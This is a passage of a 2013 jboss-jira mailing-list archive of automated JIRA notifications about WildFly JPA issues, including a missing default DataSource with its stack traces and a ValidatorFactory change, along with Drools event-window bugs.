> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  9 13:01:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 13:01:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.16167.1378746063987@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802827#comment-12802827 ] 

Scott Marlow commented on WFLY-2027:
------------------------------------

Lincoln, I didn't directly answer your question.  It isn't my decision as to whether WildFly 8 will support the EE level default datasource.  That is why I started the ml discussion.
                
> Default DataSource is not working
> ---------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  9 14:04:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 9 Sep 2013 14:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2030) Add ability to use
 annotations from Dependencies in web deployments
In-Reply-To: <JIRA.12500330.1378749840451@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500330.1378749840451@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500330.1378749840451.16261.1378749843313@jira02.app.mwc.hst.phx2.redhat.com>

Stuart Douglas created WFLY-2030:
------------------------------------

             Summary: Add ability to use annotations from Dependencies in web deployments
                 Key: WFLY-2030
                 URL: https://issues.jboss.org/browse/WFLY-2030
             Project: WildFly
          Issue Type: Feature Request
            Reporter: Stuart Douglas
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 14:33:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 14:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2031) container managed persistence
 context calls that return a StoredProcedureQuery,
 should return a wrapper if a jta transaction is not active
In-Reply-To: <JIRA.12500334.1378751532238@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500334.1378751532238@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500334.1378751532238.16292.1378751583523@jira02.app.mwc.hst.phx2.redhat.com>

Scott Marlow created WFLY-2031:
----------------------------------

             Summary: container managed persistence context calls that return a StoredProcedureQuery, should return a wrapper if a jta transaction is not active
                 Key: WFLY-2031
                 URL: https://issues.jboss.org/browse/WFLY-2031
             Project: WildFly
          Issue Type: Bug
          Components: JPA / Hibernate
            Reporter: Scott Marlow
            Assignee: Scott Marlow
             Fix For: 8.0.0.CR1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 14:37:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 14:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2031) container managed persistence
 context calls that return a StoredProcedureQuery,
 should return a wrapper if a jta transaction is not active
In-Reply-To: <JIRA.12500334.1378751532000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500334.1378751532000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500334.1378751532000.16295.1378751823988@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2031?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802847#comment-12802847 ] 

Scott Marlow commented on WFLY-2031:
------------------------------------

look at existing use of AbstractEntityManager.detachTypedQueryNonTxInvocation() and also catch queries that need this (createQuery(CriteriaUpdate criteriaUpdate)...).
                
> container managed persistence context calls that return a StoredProcedureQuery, should return a wrapper if a jta transaction is not active
> ------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2031
>                 URL: https://issues.jboss.org/browse/WFLY-2031
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 14:37:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 14:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2031) container managed persistence
 context calls that return a StoredProcedureQuery,
 should return a wrapper if a jta transaction is not active
In-Reply-To: <JIRA.12500334.1378751532000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500334.1378751532000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500334.1378751532000.16298.1378751824194@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2031?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated WFLY-2031:
-------------------------------

    Comment: was deleted

(was: look at existing use of AbstractEntityManager.detachTypedQueryNonTxInvocation() and also catch queries that need this (createQuery(CriteriaUpdate criteriaUpdate)...).)

    
> container managed persistence context calls that return a StoredProcedureQuery, should return a wrapper if a jta transaction is not active
> ------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2031
>                 URL: https://issues.jboss.org/browse/WFLY-2031
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 14:39:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 14:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2031) container managed persistence
 context calls that return a StoredProcedureQuery,
 should return a wrapper if a jta transaction is not active
In-Reply-To: <JIRA.12500334.1378751532000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500334.1378751532000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500334.1378751532000.16301.1378751943424@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2031?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated WFLY-2031:
-------------------------------

    Description: look at existing use of AbstractEntityManager.detachTypedQueryNonTxInvocation() and also catch queries that need this.  For example, createQuery(CriteriaUpdate criteriaUpdate) is 

    
> container managed persistence context calls that return a StoredProcedureQuery, should return a wrapper if a jta transaction is not active
> ------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2031
>                 URL: https://issues.jboss.org/browse/WFLY-2031
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.CR1
>
>
> look at existing use of AbstractEntityManager.detachTypedQueryNonTxInvocation() and also catch queries that need this.  For example, createQuery(CriteriaUpdate criteriaUpdate) is 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 14:39:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 14:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2031) container managed persistence
 context calls that return a StoredProcedureQuery,
 should return a wrapper if a jta transaction is not active
In-Reply-To: <JIRA.12500334.1378751532000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500334.1378751532000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500334.1378751532000.16304.1378751943579@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2031?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated WFLY-2031:
-------------------------------

    Description: look at existing use of AbstractEntityManager.detachTypedQueryNonTxInvocation() and also catch queries that need this.  For example, createQuery(CriteriaUpdate criteriaUpdate) is in need of this.  (was: look at existing use of AbstractEntityManager.detachTypedQueryNonTxInvocation() and also catch queries that need this.  For example, createQuery(CriteriaUpdate criteriaUpdate) is )

    
> container managed persistence context calls that return a StoredProcedureQuery, should return a wrapper if a jta transaction is not active
> ------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2031
>                 URL: https://issues.jboss.org/browse/WFLY-2031
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.CR1
>
>
> look at existing use of AbstractEntityManager.detachTypedQueryNonTxInvocation() and also catch queries that need this.  For example, createQuery(CriteriaUpdate criteriaUpdate) is in need of this.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 15:29:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 15:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1705) JPA persistence units make
 use of SerializableValidatorFactory instead of using the JNDI bound default
 ValidatorFactory
In-Reply-To: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496562.1373987171000.16359.1378754943537@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802855#comment-12802855 ] 

Scott Marlow commented on WFLY-1705:
------------------------------------

I'll push a release that contains the jipi-18 change (should be 1.0.0.Beta1) and will create a WildFly merge request that brings it in.
                
> JPA persistence units make use of SerializableValidatorFactory instead of using the JNDI bound default ValidatorFactory
> -----------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1705
>                 URL: https://issues.jboss.org/browse/WFLY-1705
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE, JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Hardy Ferentschik
>            Assignee: Farah Juma
>
> I think there is no need for {{SerializableValidatorFactory}}. _LazyValidatorFactory_ should be used at all times to also ensure that CDI injection works.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 15:44:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Mon, 9 Sep 2013 15:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-256) Sliding Window rule
 duplicate fireing after fireAllRules() loop
In-Reply-To: <JIRA.12500285.1378722339000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500285.1378722339000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500285.1378722339000.16445.1378755843447@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-256?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802867#comment-12802867 ] 

Davide Sottara commented on DROOLS-256:
---------------------------------------

Confirmed to be working 5.6 with both realtime and pseudo-clock
https://github.com/sotty/drools/commit/ca90a0516556d3d00f66d7d5bf46ac2cee27ec81
                
> Sliding Window rule duplicate fireing after fireAllRules() loop
> ---------------------------------------------------------------
>
>                 Key: DROOLS-256
>                 URL: https://issues.jboss.org/browse/DROOLS-256
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: Modified 'Hello world' example, Eclipse Juno with Java 1.6 on Mac OS 
>            Reporter: Alexander Wolf
>            Assignee: Mark Proctor
>
> Given the following rule:
> //counts numbers of events in the previous 3 seconds
> rule "slidingTimeCount"
> when
> 	$n: Number (intValue > 0) from accumulate ( $e : Message() over window:time(3s) , count($e))
> then
> 	System.out.println("Messages in last 3 seconds: " + $n);
> end
> When Messages (Event) are inserted in a loop and after this loop fireAllRules() on the session is invoked, the rule fires twice. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 15:46:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 15:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2032) component upgrade to jipijapa
	1.0.0.Beta1
In-Reply-To: <JIRA.12500338.1378755911665@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500338.1378755911665@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500338.1378755911665.16454.1378755963966@jira02.app.mwc.hst.phx2.redhat.com>

Scott Marlow created WFLY-2032:
----------------------------------

             Summary: component upgrade to jipijapa 1.0.0.Beta1
                 Key: WFLY-2032
                 URL: https://issues.jboss.org/browse/WFLY-2032
             Project: WildFly
          Issue Type: Feature Request
          Components: JPA / Hibernate
            Reporter: Scott Marlow
            Assignee: Scott Marlow
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 17:18:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 17:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1705) JPA persistence units make
 use of SerializableValidatorFactory instead of using the JNDI bound default
 ValidatorFactory
In-Reply-To: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496562.1373987171000.16535.1378761483593@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802889#comment-12802889 ] 

Scott Marlow commented on WFLY-1705:
------------------------------------

I created a pull request https://github.com/wildfly/wildfly/pull/5027 to bring the jipi-18 change in.  

I also pushed changes to help with WFLY-1705 to https://github.com/scottmarlow/wildfly/tree/WFLY-1705.  Let me know if you want me to push them or if you want to merge in with your local branch changes.  To bring my changes into your local git repo, you would do:

{quote}
git fetch https://github.com/scottmarlow/wildfly.git WFLY-1705:WFLY-1705
{quote} 

You could then rebase or cherry-pick the changes in (depending on whether WFLY-2032 is merged to github master yet or not).  Do a "git log WFLY-1705" after running the above to see the commits.


                
> JPA persistence units make use of SerializableValidatorFactory instead of using the JNDI bound default ValidatorFactory
> -----------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1705
>                 URL: https://issues.jboss.org/browse/WFLY-1705
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE, JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Hardy Ferentschik
>            Assignee: Farah Juma
>
> I think there is no need for {{SerializableValidatorFactory}}. _LazyValidatorFactory_ should be used at all times to also ensure that CDI injection works.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 18:03:03 2013
From: jira-events at lists.jboss.org (Farah Juma (JIRA))
Date: Mon, 9 Sep 2013 18:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1705) JPA persistence units make
 use of SerializableValidatorFactory instead of using the JNDI bound default
 ValidatorFactory
In-Reply-To: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496562.1373987171000.16589.1378764183426@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802900#comment-12802900 ] 

Farah Juma commented on WFLY-1705:
----------------------------------

Thanks for making these changes so quickly, Scott! I've brought your changes into my WFLY-1705 branch (https://github.com/fjuma/wildfly/tree/WFLY-1705) and will test it tomorrow.
                
> JPA persistence units make use of SerializableValidatorFactory instead of using the JNDI bound default ValidatorFactory
> -----------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1705
>                 URL: https://issues.jboss.org/browse/WFLY-1705
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE, JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Hardy Ferentschik
>            Assignee: Farah Juma
>
> I think there is no need for {{SerializableValidatorFactory}}. _LazyValidatorFactory_ should be used at all times to also ensure that CDI injection works.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 21:58:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Mon, 9 Sep 2013 21:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-257) Past events beyond
 expiration are not expired
In-Reply-To: <JIRA.12500351.1378778236311@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500351.1378778236311@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500351.1378778236311.16760.1378778283399@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-257:
-------------------------------------

             Summary: Past events beyond expiration are not expired
                 Key: DROOLS-257
                 URL: https://issues.jboss.org/browse/DROOLS-257
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Critical
             Fix For: 5.5.1.Final,  6.0.0.CR4




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 22:17:04 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Mon, 9 Sep 2013 22:17:04 -0400 (EDT)
